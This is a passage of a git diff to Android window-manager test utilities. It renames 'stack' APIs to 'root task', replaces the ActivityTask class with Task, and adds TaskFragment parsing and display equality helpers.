diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index b974ae8..ab02d3d 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -25,6 +25,9 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import android.app.ActivityManager;
 import android.app.WindowConfiguration;
@@ -68,7 +71,6 @@
     private final ArraySet<Integer> mSecondaryChildrenTaskIds = new ArraySet<>();
     private final Rect mPrimaryBounds = new Rect();
     private final Rect mSecondaryBounds = new Rect();
-    private final Context mContext;
 
     private static final int[] CONTROLLED_ACTIVITY_TYPES = {
             ACTIVITY_TYPE_STANDARD,
@@ -82,21 +84,16 @@
             WINDOWING_MODE_UNDEFINED
     };
 
-    public TestTaskOrganizer(Context context) {
-        super();
-        //TODO(b/192572357): Verify if the context is a UI context when b/190019118 is fixed.
-        mContext = context;
-    }
-
     @Override
     public List<TaskAppearedInfo> registerOrganizer() {
-        //TODO(b/192572357): Replace createDisplayContext with createWindowContext and
-        // getMaximumWindowMetrics with getCurrentWindowMetrics when b/190019118 is fixed.
-        final Rect bounds = mContext.createDisplayContext(
-                mContext.getSystemService(DisplayManager.class)
-                        .getDisplay(DEFAULT_DISPLAY)).getSystemService(WindowManager.class)
-                .getMaximumWindowMetrics()
+        final Context context = getInstrumentation().getContext();
+        final Rect bounds = context.createDisplayContext(
+                context.getSystemService(DisplayManager.class).getDisplay(DEFAULT_DISPLAY))
+                .createWindowContext(TYPE_APPLICATION, null /* options */)
+                .getSystemService(WindowManager.class)
+                .getCurrentWindowMetrics()
                 .getBounds();
+
         final boolean isLandscape = bounds.width() > bounds.height();
         if (isLandscape) {
             bounds.splitVertically(mPrimaryBounds, mSecondaryBounds);
@@ -133,7 +130,8 @@
 
             // Set the roots as adjacent to each other.
             final WindowContainerTransaction wct = new WindowContainerTransaction();
-            wct.setAdjacentRoots(mRootPrimary.getToken(), mRootSecondary.getToken());
+            wct.setAdjacentRoots(mRootPrimary.getToken(), mRootSecondary.getToken(),
+                    true /* moveTogether */);
             applyTransaction(wct);
         }
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
index 327730a..4e69797 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
@@ -122,8 +122,8 @@
         tapOnDisplay(x, y, view.getDisplay().getDisplayId(), true /* sync */, waitAnimations);
     }
 
-    public void tapOnStackCenter(WindowManagerState.ActivityTask stack) {
-        tapOnCenter(stack.getBounds(), stack.mDisplayId);
+    public void tapOnTaskCenter(WindowManagerState.Task task) {
+        tapOnCenter(task.getBounds(), task.mDisplayId);
     }
 
     public void tapOnDisplayCenter(int displayId) {
@@ -167,4 +167,11 @@
                 KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
         getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
     }
+
+    public void tapOnTaskCenterAsync(WindowManagerState.Task task) {
+        final Rect bounds = task.getBounds();
+        final int x = bounds.left + bounds.width() / 2;
+        final int y = bounds.top + bounds.height() / 2;
+        tapOnDisplay(x, y, task.mDisplayId, false /* sync*/);
+    }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
index 10cf75b..c5a81cc 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WaitForValidActivityState.java
@@ -129,7 +129,7 @@
             return this;
         }
 
-        public Builder setStackId(int stackId) {
+        public Builder setRootTaskId(int stackId) {
             mStackId = stackId;
             return this;
         }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index ba34d17..55b2b62 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -16,7 +16,6 @@
 
 package android.server.wm;
 
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_DREAM;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
@@ -64,6 +63,7 @@
 import com.android.server.wm.nano.KeyguardControllerProto;
 import com.android.server.wm.nano.PinnedTaskControllerProto;
 import com.android.server.wm.nano.RootWindowContainerProto;
+import com.android.server.wm.nano.TaskFragmentProto;
 import com.android.server.wm.nano.TaskProto;
 import com.android.server.wm.nano.WindowContainerChildProto;
 import com.android.server.wm.nano.WindowContainerProto;
@@ -92,6 +92,7 @@
 public class WindowManagerState {
 
     public static final String STATE_INITIALIZING = "INITIALIZING";
+    public static final String STATE_STARTED = "STARTED";
     public static final String STATE_RESUMED = "RESUMED";
     public static final String STATE_PAUSED = "PAUSED";
     public static final String STATE_STOPPED = "STOPPED";
@@ -126,15 +127,14 @@
     /** @see WindowManager.LayoutParams */
     private static final int TYPE_NOTIFICATION_SHADE = 2040;
 
-    // Default minimal size of resizable task, used if none is set explicitly.
-    // Must be kept in sync with 'default_minimal_size_resizable_task' dimen from frameworks/base.
-    private static final int DEFAULT_RESIZABLE_TASK_SIZE_DP = 220;
-
     private RootWindowContainer mRoot = null;
     // Displays in z-order with the top most at the front of the list, starting with primary.
     private final List<DisplayContent> mDisplays = new ArrayList<>();
-    // Stacks in z-order with the top most at the front of the list, starting with primary display.
-    private final List<ActivityTask> mRootTasks = new ArrayList<>();
+    /**
+     * Root tasks in z-order with the top most at the front of the list, starting with primary
+     * display.
+     */
+    private final List<Task> mRootTasks = new ArrayList<>();
     // Windows in z-order with the top most at the front of the list.
     private final List<WindowState> mWindowStates = new ArrayList<>();
     private KeyguardControllerState mKeyguardControllerState;
@@ -144,8 +144,9 @@
     private String mFocusedWindow = null;
     private String mFocusedApp = null;
     private Boolean mIsHomeRecentsComponent;
+    private int mDefaultMinSizeOfResizableTaskDp;
     private String mTopResumedActivityRecord = null;
-    final List<String> mResumedActivitiesInStacks = new ArrayList<>();
+    final List<String> mResumedActivitiesInRootTasks = new ArrayList<>();
     final List<String> mResumedActivitiesInDisplays = new ArrayList<>();
     private Rect mDefaultPinnedStackBounds = new Rect();
     private Rect mPinnedStackMovementBounds = new Rect();
@@ -322,20 +323,21 @@
 
             retry = mRootTasks.isEmpty() || mTopFocusedTaskId == -1 || mWindowStates.isEmpty()
                     || mFocusedApp == null || (mSanityCheckFocusedWindow && mFocusedWindow == null)
-                    || (mTopResumedActivityRecord == null || mResumedActivitiesInStacks.isEmpty())
+                    || (mTopResumedActivityRecord == null
+                    || mResumedActivitiesInRootTasks.isEmpty())
                     && !mKeyguardControllerState.keyguardShowing;
         } while (retry && retriesLeft-- > 0);
 
         if (mRootTasks.isEmpty()) {
-            logE("No stacks found...");
+            logE("No root tasks found...");
         }
         if (mTopFocusedTaskId == -1) {
-            logE("No focused stack found...");
+            logE("No focused task found...");
         }
         if (mTopResumedActivityRecord == null) {
             logE("No focused activity found...");
         }
-        if (mResumedActivitiesInStacks.isEmpty()) {
+        if (mResumedActivitiesInRootTasks.isEmpty()) {
             logE("No resumed activities found...");
         }
         if (mWindowStates.isEmpty()) {
@@ -374,7 +376,7 @@
         }
 
         for (int i = 0; i < display.mRootTasks.size(); i++) {
-            ActivityTask task = display.mRootTasks.get(i);
+            Task task = display.mRootTasks.get(i);
             mRootTasks.add(task);
             addResumedActivity(task);
         }
@@ -385,14 +387,14 @@
         }
     }
 
-    private void addResumedActivity(ActivityTask task) {
+    private void addResumedActivity(Task task) {
         final int numChildTasks = task.mTasks.size();
         if (numChildTasks > 0) {
             for (int i = numChildTasks - 1; i >=0; i--) {
                 addResumedActivity(task.mTasks.get(i));
             }
         } else if (task.mResumedActivity != null) {
-            mResumedActivitiesInStacks.add(task.mResumedActivity);
+            mResumedActivitiesInRootTasks.add(task.mResumedActivity);
         }
     }
 
@@ -419,6 +421,7 @@
             mTopResumedActivityRecord = focusedDisplay.mResumedActivity;
         }
         mIsHomeRecentsComponent = new Boolean(root.isHomeRecentsComponent);
+        mDefaultMinSizeOfResizableTaskDp = root.defaultMinSizeResizableTask;
 
         for (int i = 0; i < root.pendingActivities.length; i++) {
             mPendingActivities.add(root.pendingActivities[i].title);
@@ -442,7 +445,7 @@
         mFocusedWindow = null;
         mFocusedApp = null;
         mTopResumedActivityRecord = null;
-        mResumedActivitiesInStacks.clear();
+        mResumedActivitiesInRootTasks.clear();
         mResumedActivitiesInDisplays.clear();
         mKeyguardControllerState = null;
         mIsHomeRecentsComponent = null;
@@ -512,18 +515,18 @@
         return getDisplay(displayId).mRootTasks.get(0).mRootTaskId;
     }
 
-    public int getFrontStackActivityType(int displayId) {
+    public int getFrontRootTaskActivityType(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).getActivityType();
     }
 
-    public int getFrontStackWindowingMode(int displayId) {
+    public int getFrontRootTaskWindowingMode(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).getWindowingMode();
     }
 
     public String getTopActivityName(int displayId) {
         if (!getDisplay(displayId).mRootTasks.isEmpty()) {
-            final ActivityTask topStack = getDisplay(displayId).mRootTasks.get(0);
-            final ActivityTask topTask = topStack.getTopTask();
+            final Task topRootTask = getDisplay(displayId).mRootTasks.get(0);
+            final Task topTask = topRootTask.getTopTask();
             if (!topTask.mActivities.isEmpty()) {
                 return topTask.mActivities.get(0).name;
             }
@@ -531,18 +534,18 @@
         return null;
     }
 
-    int getFocusedStackId() {
+    int getFocusedTaskId() {
         return mTopFocusedTaskId;
     }
 
-    public int getFocusedStackActivityType() {
-        final ActivityTask stack = getRootTask(mTopFocusedTaskId);
-        return stack != null ? stack.getActivityType() : ACTIVITY_TYPE_UNDEFINED;
+    public int getFocusedRootTaskActivityType() {
+        final Task rootTask = getRootTask(mTopFocusedTaskId);
+        return rootTask != null ? rootTask.getActivityType() : ACTIVITY_TYPE_UNDEFINED;
     }
 
-    public int getFocusedStackWindowingMode() {
-        final ActivityTask stack = getRootTask(mTopFocusedTaskId);
-        return stack != null ? stack.getWindowingMode() : WINDOWING_MODE_UNDEFINED;
+    public int getFocusedRootTaskWindowingMode() {
+        final Task rootTask = getRootTask(mTopFocusedTaskId);
+        return rootTask != null ? rootTask.getWindowingMode() : WINDOWING_MODE_UNDEFINED;
     }
 
     public String getFocusedActivity() {
@@ -550,16 +553,16 @@
     }
 
     public int getResumedActivitiesCount() {
-        return mResumedActivitiesInStacks.size();
+        return mResumedActivitiesInRootTasks.size();
     }
 
     public int getResumedActivitiesCountInPackage(String packageName) {
         final String componentPrefix = packageName + "/";
         int count = 0;
         for (int i = mDisplays.size() - 1; i >= 0; --i) {
-            final ArrayList<ActivityTask> mStacks = mDisplays.get(i).getRootTasks();
-            for (int j = mStacks.size() - 1; j >= 0; --j) {
-                final String resumedActivity = mStacks.get(j).mResumedActivity;
+            final ArrayList<Task> rootTasks = mDisplays.get(i).getRootTasks();
+            for (int j = rootTasks.size() - 1; j >= 0; --j) {
+                final String resumedActivity = rootTasks.get(j).mResumedActivity;
                 if (resumedActivity != null && resumedActivity.startsWith(componentPrefix)) {
                     count++;
                 }
@@ -576,19 +579,19 @@
         return mKeyguardControllerState;
     }
 
-    public boolean containsStack(int windowingMode, int activityType) {
-        return countStacks(windowingMode, activityType) > 0;
+    public boolean containsRootTasks(int windowingMode, int activityType) {
+        return countRootTasks(windowingMode, activityType) > 0;
     }
 
-    public int countStacks(int windowingMode, int activityType) {
+    public int countRootTasks(int windowingMode, int activityType) {
         int count = 0;
-        for (ActivityTask stack : mRootTasks) {
+        for (Task rootTask : mRootTasks) {
             if (activityType != ACTIVITY_TYPE_UNDEFINED
-                    && activityType != stack.getActivityType()) {
+                    && activityType != rootTask.getActivityType()) {
                 continue;
             }
             if (windowingMode != WINDOWING_MODE_UNDEFINED
-                    && windowingMode != stack.getWindowingMode()) {
+                    && windowingMode != rootTask.getWindowingMode()) {
                 continue;
             }
             ++count;
@@ -596,31 +599,19 @@
         return count;
     }
 
-    public ActivityTask getRootTask(int taskId) {
-        for (ActivityTask stack : mRootTasks) {
-            if (taskId == stack.mRootTaskId) {
-                return stack;
+    public Task getRootTask(int taskId) {
+        for (Task rootTask : mRootTasks) {
+            if (taskId == rootTask.mRootTaskId) {
+                return rootTask;
             }
         }
         return null;
     }
 
-    public ActivityTask getStackByActivityType(int activityType) {
-        for (ActivityTask stack : mRootTasks) {
-            if (activityType == stack.getActivityType()) {
-                return stack;
-            }
-        }
-        return null;
-    }
-
-    public ActivityTask getStandardStackByWindowingMode(int windowingMode) {
-        for (ActivityTask stack : mRootTasks) {
-            if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
-                continue;
-            }
-            if (stack.getWindowingMode() == windowingMode) {
-                return stack;
+    public Task getRootTaskByActivityType(int activityType) {
+        for (Task rootTask : mRootTasks) {
+            if (activityType == rootTask.getActivityType()) {
+                return rootTask;
             }
         }
         return null;
@@ -628,19 +619,19 @@
 
     public int getStandardTaskCountByWindowingMode(int windowingMode) {
         int count = 0;
-        for (ActivityTask stack : mRootTasks) {
-            if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+        for (Task rootTask : mRootTasks) {
+            if (rootTask.getActivityType() != ACTIVITY_TYPE_STANDARD) {
                 continue;
             }
-            if (stack.getWindowingMode() == windowingMode) {
-                count += stack.mTasks.isEmpty() ? 1 : stack.mTasks.size();
+            if (rootTask.getWindowingMode() == windowingMode) {
+                count += rootTask.mTasks.isEmpty() ? 1 : rootTask.mTasks.size();
             }
         }
         return count;
     }
 
-    /** Get the stack position on its display. */
-    int getStackIndexByActivityType(int activityType) {
+    /** Gets the position of root task on its display with the given {@code activityType}. */
+    int getRootTaskIndexByActivityType(int activityType) {
         for (DisplayContent display : mDisplays) {
             for (int i = 0; i < display.mRootTasks.size(); i++) {
                 if (activityType == display.mRootTasks.get(i).getActivityType()) {
@@ -651,12 +642,13 @@
         return -1;
     }
 
-    /** Get the stack on its display. */
-    ActivityTask getStackByActivity(ComponentName activityName) {
+    /** Gets the root task on its display with the given {@code activityName}. */
+    @Nullable
+    Task getRootTaskByActivity(ComponentName activityName) {
         for (DisplayContent display : mDisplays) {
             for (int i = display.mRootTasks.size() - 1; i >= 0; --i) {
-                final ActivityTask stack = display.mRootTasks.get(i);
-                if (stack.containsActivity(activityName)) return stack;
+                final Task rootTask = display.mRootTasks.get(i);
+                if (rootTask.containsActivity(activityName)) return rootTask;
             }
         }
         return null;
@@ -664,7 +656,7 @@
 
     /** Get display id by activity on it. */
     public int getDisplayByActivity(ComponentName activityComponent) {
-        final ActivityTask task = getTaskByActivity(activityComponent);
+        final Task task = getTaskByActivity(activityComponent);
         if (task == null) {
             return -1;
         }
@@ -675,11 +667,11 @@
         return new ArrayList<>(mDisplays);
     }
 
-    public List<ActivityTask> getRootTasks() {
+    public List<Task> getRootTasks() {
         return new ArrayList<>(mRootTasks);
     }
 
-    public int getStackCount() {
+    public int getRootTaskCount() {
         return mRootTasks.size();
     }
 
@@ -688,24 +680,24 @@
     }
 
     public boolean containsActivity(ComponentName activityName) {
-        for (ActivityTask stack : mRootTasks) {
-            if (stack.containsActivity(activityName)) return true;
+        for (Task rootTask : mRootTasks) {
+            if (rootTask.containsActivity(activityName)) return true;
         }
         return false;
     }
 
     public boolean containsNoneOf(Iterable<ComponentName> activityNames) {
         for (ComponentName activityName : activityNames) {
-            for (ActivityTask stack : mRootTasks) {
-                if (stack.containsActivity(activityName)) return false;
+            for (Task rootTask : mRootTasks) {
+                if (rootTask.containsActivity(activityName)) return false;
             }
         }
         return true;
     }
 
     public boolean containsActivityInWindowingMode(ComponentName activityName, int windowingMode) {
-        for (ActivityTask stack : mRootTasks) {
-            final Activity activity = stack.getActivity(activityName);
+        for (Task rootTask : mRootTasks) {
+            final Activity activity = rootTask.getActivity(activityName);
             if (activity != null && activity.getWindowingMode() == windowingMode) {
                 return true;
             }
@@ -714,16 +706,16 @@
     }
 
     public boolean isActivityVisible(ComponentName activityName) {
-        for (ActivityTask stack : mRootTasks) {
-            final Activity activity = stack.getActivity(activityName);
+        for (Task rootTask : mRootTasks) {
+            final Activity activity = rootTask.getActivity(activityName);
             if (activity != null) return activity.visible;
         }
         return false;
     }
 
     public boolean isActivityTranslucent(ComponentName activityName) {
-        for (ActivityTask stack : mRootTasks) {
-            final Activity activity = stack.getActivity(activityName);
+        for (Task rootTask : mRootTasks) {
+            final Activity activity = rootTask.getActivity(activityName);
             if (activity != null) return activity.translucent;
         }
         return false;
@@ -731,9 +723,9 @@
 
     public boolean isBehindOpaqueActivities(ComponentName activityName) {
         final String fullName = getActivityName(activityName);
-        for (ActivityTask stack : mRootTasks) {
+        for (Task rootTask : mRootTasks) {
             final Activity activity =
-                    stack.getActivity((a) -> a.name.equals(fullName) || !a.translucent);
+                    rootTask.getActivity((a) -> a.name.equals(fullName) || !a.translucent);
             if (activity != null) {
                 if (activity.name.equals(fullName)) {
                     return false;
@@ -748,8 +740,8 @@
     }
 
     public boolean containsStartedActivities() {
-        for (ActivityTask stack : mRootTasks) {
-            final Activity activity = stack.getActivity(
+        for (Task rootTask : mRootTasks) {
+            final Activity activity = rootTask.getActivity(
                     (a) -> !a.state.equals(STATE_STOPPED) && !a.state.equals(STATE_DESTROYED));
             if (activity != null) return true;
         }
@@ -757,16 +749,16 @@
     }
 
     boolean hasActivityState(ComponentName activityName, String activityState) {
-        for (ActivityTask stack : mRootTasks) {
-            final Activity activity = stack.getActivity(activityName);
+        for (Task rootTask : mRootTasks) {
+            final Activity activity = rootTask.getActivity(activityName);
             if (activity != null) return activity.state.equals(activityState);
         }
         return false;
     }
 
     int getActivityProcId(ComponentName activityName) {
-        for (ActivityTask stack : mRootTasks) {
-            final Activity activity = stack.getActivity(activityName);
+        for (Task rootTask : mRootTasks) {
+            final Activity activity = rootTask.getActivity(activityName);
             if (activity != null) return activity.procId;
         }
         return -1;
@@ -785,59 +777,64 @@
         return ComponentName.unflattenFromString(activity.name);
     }
 
-    ActivityTask getDreamTask() {
-        final ActivityTask dreamStack = getStackByActivityType(ACTIVITY_TYPE_DREAM);
-        if (dreamStack != null) {
-            return dreamStack.getTopTask();
+    Task getDreamTask() {
+        final Task dreamRootTask = getRootTaskByActivityType(ACTIVITY_TYPE_DREAM);
+        if (dreamRootTask != null) {
+            return dreamRootTask.getTopTask();
         }
         return null;
     }
 
-    ActivityTask getHomeTask() {
-        final ActivityTask homeStack = getStackByActivityType(ACTIVITY_TYPE_HOME);
-        if (homeStack != null) {
-            return homeStack.getTopTask();
+    Task getHomeTask() {
+        final Task homeRootTask = getRootTaskByActivityType(ACTIVITY_TYPE_HOME);
+        if (homeRootTask != null) {
+            return homeRootTask.getTopTask();
         }
         return null;
     }
 
-    private ActivityTask getRecentsTask() {
-        final ActivityTask recentsStack = getStackByActivityType(ACTIVITY_TYPE_RECENTS);
-        if (recentsStack != null) {
-            return recentsStack.getTopTask();
+    private Task getRecentsTask() {
+        final Task recentsRootTask = getRootTaskByActivityType(ACTIVITY_TYPE_RECENTS);
+        if (recentsRootTask != null) {
+            return recentsRootTask.getTopTask();
         }
         return null;
     }
 
     private Activity getHomeActivity() {
-        final ActivityTask homeTask = getHomeTask();
+        final Task homeTask = getHomeTask();
         return homeTask != null ? homeTask.mActivities.get(homeTask.mActivities.size() - 1) : null;
     }
 
     private Activity getRecentsActivity() {
-        final ActivityTask recentsTask = getRecentsTask();
+        final Task recentsTask = getRecentsTask();
         return recentsTask != null ? recentsTask.mActivities.get(recentsTask.mActivities.size() - 1)
                 : null;
     }
 
     public int getRootTaskIdByActivity(ComponentName activityName) {
-        final ActivityTask task = getTaskByActivity(activityName);
-        return  (task == null) ? INVALID_STACK_ID : task.mRootTaskId;
+        final Task task = getTaskByActivity(activityName);
+        return  (task == null) ? INVALID_TASK_ID : task.mRootTaskId;
     }
 
-    public ActivityTask getTaskByActivity(ComponentName activityName) {
+    public Task getTaskByActivity(ComponentName activityName) {
         return getTaskByActivity(
                 activityName, WINDOWING_MODE_UNDEFINED, new int[]{ INVALID_TASK_ID });
     }
 
-    public ActivityTask getTaskByActivity(ComponentName activityName, int[] excludeTaskIds) {
+    public Task getTaskByActivity(ComponentName activityName, int[] excludeTaskIds) {
         return getTaskByActivity(activityName, WINDOWING_MODE_UNDEFINED, excludeTaskIds);
     }
 
-    private ActivityTask getTaskByActivity(ComponentName activityName, int windowingMode,
+    private Task getTaskByActivity(ComponentName activityName, int windowingMode,
             int[] excludeTaskIds) {
         Activity activity = getActivity(activityName, windowingMode, excludeTaskIds);
-        return activity == null ? null : activity.task;
+        return activity == null ? null : activity.getTask();
+    }
+
+    @Nullable
+    public TaskFragment getTaskFragmentByActivity(ComponentName activityName) {
+        return getActivity(activityName).getTaskFragment();
     }
 
     public Activity getActivity(ComponentName activityName) {
@@ -846,10 +843,10 @@
 
     private Activity getActivity(ComponentName activityName, int windowingMode,
             int[] excludeTaskIds) {
-        for (ActivityTask stack : mRootTasks) {
+        for (Task rootTask : mRootTasks) {
             if (windowingMode == WINDOWING_MODE_UNDEFINED
-                    || windowingMode == stack.getWindowingMode()) {
-                Activity activity = stack.getActivity(activityName, excludeTaskIds);
+                    || windowingMode == rootTask.getWindowingMode()) {
+                Activity activity = rootTask.getActivity(activityName, excludeTaskIds);
                 if (activity != null) return activity;
             }
         }
@@ -867,8 +864,8 @@
     public int getActivityCountInTask(int taskId, @Nullable ComponentName activityName) {
         // If activityName is null, count all activities in the task.
         // Otherwise count activities that have specified name.
-        for (ActivityTask stack : mRootTasks) {
-            final ActivityTask task = stack.getTask(taskId);
+        for (Task rootTask : mRootTasks) {
+            final Task task = rootTask.getTask(taskId);
             if (task == null) continue;
 
             if (activityName == null) {
@@ -897,7 +894,7 @@
     /**
      * Count root tasks filtered by the predicate passed as argument.
      */
-    public int getRootTasksCount(Predicate<? super ActivityTask> predicate) {
+    public int getRootTasksCount(Predicate<? super Task> predicate) {
         return (int) mRootTasks.stream().filter(predicate).count();
     }
 
@@ -1045,8 +1042,8 @@
 
     /** Checks whether the display contains the given activity. */
     boolean hasActivityInDisplay(int displayId, ComponentName activityName) {
-        for (WindowManagerState.ActivityTask stack : getDisplay(displayId).getRootTasks()) {
-            if (stack.containsActivity(activityName)) {
+        for (Task rootTask : getDisplay(displayId).getRootTasks()) {
+            if (rootTask.containsActivity(activityName)) {
                 return true;
             }
         }
@@ -1066,8 +1063,8 @@
         return mWindowStates.size() - mWindowStates.indexOf(w);
     }
 
-    ActivityTask getStandardRootTaskByWindowingMode(int windowingMode) {
-        for (ActivityTask task : mRootTasks) {
+    Task getStandardRootTaskByWindowingMode(int windowingMode) {
+        for (Task task : mRootTasks) {
             if (task.getActivityType() != ACTIVITY_TYPE_STANDARD) {
                 continue;
             }
@@ -1100,7 +1097,7 @@
 
     public static class DisplayContent extends DisplayArea {
         public int mId;
-        ArrayList<ActivityTask> mRootTasks = new ArrayList<>();
+        ArrayList<Task> mRootTasks = new ArrayList<>();
         int mFocusedRootTaskId;
         String mResumedActivity;
         boolean mSingleTaskInstance;
@@ -1176,12 +1173,12 @@
 
         private void addRootTasks() {
             // TODO(b/149338177): figure out how CTS tests deal with organizer. For now,
-            //                    don't treat them as regular stacks
-            collectDescendantsOfTypeIf(ActivityTask.class, t -> t.isRootTask(), this,
+            //                    don't treat them as regular root tasks
+            collectDescendantsOfTypeIf(Task.class, t -> t.isRootTask(), this,
                     mRootTasks);
-            ArrayList<ActivityTask> rootOrganizedTasks = new ArrayList<>();
+            ArrayList<Task> rootOrganizedTasks = new ArrayList<>();
             for (int i = mRootTasks.size() -1; i >= 0; --i) {
-                final ActivityTask task = mRootTasks.get(i);
+                final Task task = mRootTasks.get(i);
                 // Skip tasks created by an organizer
                 if (task.mCreatedByOrganizer) {
                     mRootTasks.remove(task);
@@ -1190,9 +1187,9 @@
             }
             // Add root tasks controlled by an organizer
             while (rootOrganizedTasks.size() > 0) {
-                final ActivityTask task = rootOrganizedTasks.remove(0);
+                final Task task = rootOrganizedTasks.remove(0);
                 for (int i = task.mChildren.size() - 1; i >= 0; i--) {
-                    final ActivityTask child = (ActivityTask) task.mChildren.get(i);
+                    final Task child = (Task) task.mChildren.get(i);
                     if (!child.mCreatedByOrganizer) {
                         mRootTasks.add(child);
                     } else {
@@ -1203,7 +1200,7 @@
         }
 
         boolean containsActivity(ComponentName activityName) {
-            for (ActivityTask task : mRootTasks) {
+            for (Task task : mRootTasks) {
                 if (task.containsActivity(activityName)) return true;
             }
             return false;
@@ -1254,7 +1251,7 @@
             return result.stream().findFirst().orElse(null);
         }
 
-        ArrayList<ActivityTask> getRootTasks() {
+        ArrayList<Task> getRootTasks() {
             return mRootTasks;
         }
 
@@ -1266,6 +1263,10 @@
             return mDisplayRect;
         }
 
+        public Rect getAppRect() {
+            return mAppRect;
+        }
+
         int getFlags() {
             return mFlags;
         }
@@ -1287,17 +1288,74 @@
             return "Display #" + mId + ": name=" + mName + " mDisplayRect=" + mDisplayRect
                     + " mAppRect=" + mAppRect + " mFlags=" + mFlags;
         }
+
+        @Override
+        public boolean equals(Object o) {
+            if (o == this) {
+                return true;
+            }
+            if (o == null) {
+                return false;
+            }
+            if (!(o instanceof DisplayContent)) {
+                return false;
+            }
+
+            DisplayContent dc = (DisplayContent) o;
+
+            return (dc.mDisplayRect == null ? mDisplayRect == null
+                    : dc.mDisplayRect.equals(mDisplayRect))
+                && (dc.mAppRect == null ? mAppRect == null : dc.mAppRect.equals(mAppRect))
+                && dc.mDpi == mDpi
+                && dc.mFlags == mFlags
+                && (dc.mName == null ? mName == null : dc.mName.equals(mName))
+                && dc.mSurfaceSize == mSurfaceSize
+                && (dc.mAppTransitionState == null ? mAppTransitionState == null
+                    : dc.mAppTransitionState.equals(mAppTransitionState))
+                && dc.mRotation == mRotation
+                && dc.mFrozenToUserRotation == mFrozenToUserRotation
+                && dc.mUserRotation == mUserRotation
+                && dc.mFixedToUserRotationMode == mFixedToUserRotationMode
+                && dc.mLastOrientation == mLastOrientation;
+        }
+
+        @Override
+        public int hashCode() {
+            int result = 0;
+            if (mDisplayRect != null) {
+                result = 31 * result + mDisplayRect.hashCode();
+            }
+            if (mAppRect != null) {
+                result = 31 * result + mAppRect.hashCode();
+            }
+            result = 31 * result + mDpi;
+            result = 31 * result + mFlags;
+            if (mName != null) {
+                result = 31 * result + mName.hashCode();
+            }
+            result = 31 * result + mSurfaceSize;
+            if (mAppTransitionState != null) {
+                result = 31 * result + mAppTransitionState.hashCode();
+            }
+            result = 31 * result + mRotation;
+            result = 31 * result + Boolean.hashCode(mFrozenToUserRotation);
+            result = 31 * result + mUserRotation;
+            result = 31 * result + mFixedToUserRotationMode;
+            result = 31 * result + mLastOrientation;
+            return result;
+        }
     }
 
-    public static class ActivityTask extends ActivityContainer {
-
+    public static class Task extends ActivityContainer {
         int mTaskId;
         int mRootTaskId;
         public int mDisplayId;
         Rect mLastNonFullscreenBounds;
         String mRealActivity;
         String mOrigActivity;
-        ArrayList<ActivityTask> mTasks = new ArrayList<>();
+        ArrayList<Task> mTasks = new ArrayList<>();
+        /** Contains TaskFragment but not Task children */
+        ArrayList<TaskFragment> mTaskFragments = new ArrayList<>();
         ArrayList<Activity> mActivities = new ArrayList<>();
         int mTaskType;
         private int mResizeMode;
@@ -1308,21 +1366,23 @@
         boolean mCreatedByOrganizer;
         String mAffinity;
         boolean mHasChildPipActivity;
+        WindowContainer mParent;
 
-        ActivityTask(TaskProto proto) {
-            super(proto.windowContainer);
+        Task(TaskProto proto, WindowContainer parent) {
+            super(proto.taskFragment.windowContainer);
             mTaskId = proto.id;
             mRootTaskId = proto.rootTaskId;
-            mDisplayId = proto.displayId;
+            mParent = parent;
+            mDisplayId = proto.taskFragment.displayId;
             mLastNonFullscreenBounds = extract(proto.lastNonFullscreenBounds);
             mRealActivity = proto.realActivity;
             mOrigActivity = proto.origActivity;
-            mTaskType = proto.activityType;
+            mTaskType = proto.taskFragment.activityType;
             mResizeMode = proto.resizeMode;
             mFullscreen = proto.fillsParent;
             mBounds = extract(proto.bounds);
-            mMinWidth = proto.minWidth;
-            mMinHeight = proto.minHeight;
+            mMinWidth = proto.taskFragment.minWidth;
+            mMinHeight = proto.taskFragment.minHeight;
             mAnimatingBounds = proto.animatingBounds;
             mSurfaceWidth = proto.surfaceWidth;
             mSurfaceHeight = proto.surfaceHeight;
@@ -1334,12 +1394,26 @@
                 mResumedActivity = proto.resumedActivity.title;
             }
 
-            collectChildrenOfType(ActivityTask.class, this, mTasks);
+            collectChildrenOfType(Task.class, this, mTasks);
+            collectChildrenOfType(TaskFragment.class, this, mTaskFragments);
             collectChildrenOfType(Activity.class, this, mActivities);
         }
 
         boolean isEmpty() {
-            return mTasks.isEmpty() && mActivities.isEmpty();
+            return mTasks.isEmpty() && mTaskFragments.isEmpty() && mActivities.isEmpty();
+        }
+
+        /** Gets the pure parent TaskFragment if exist. */
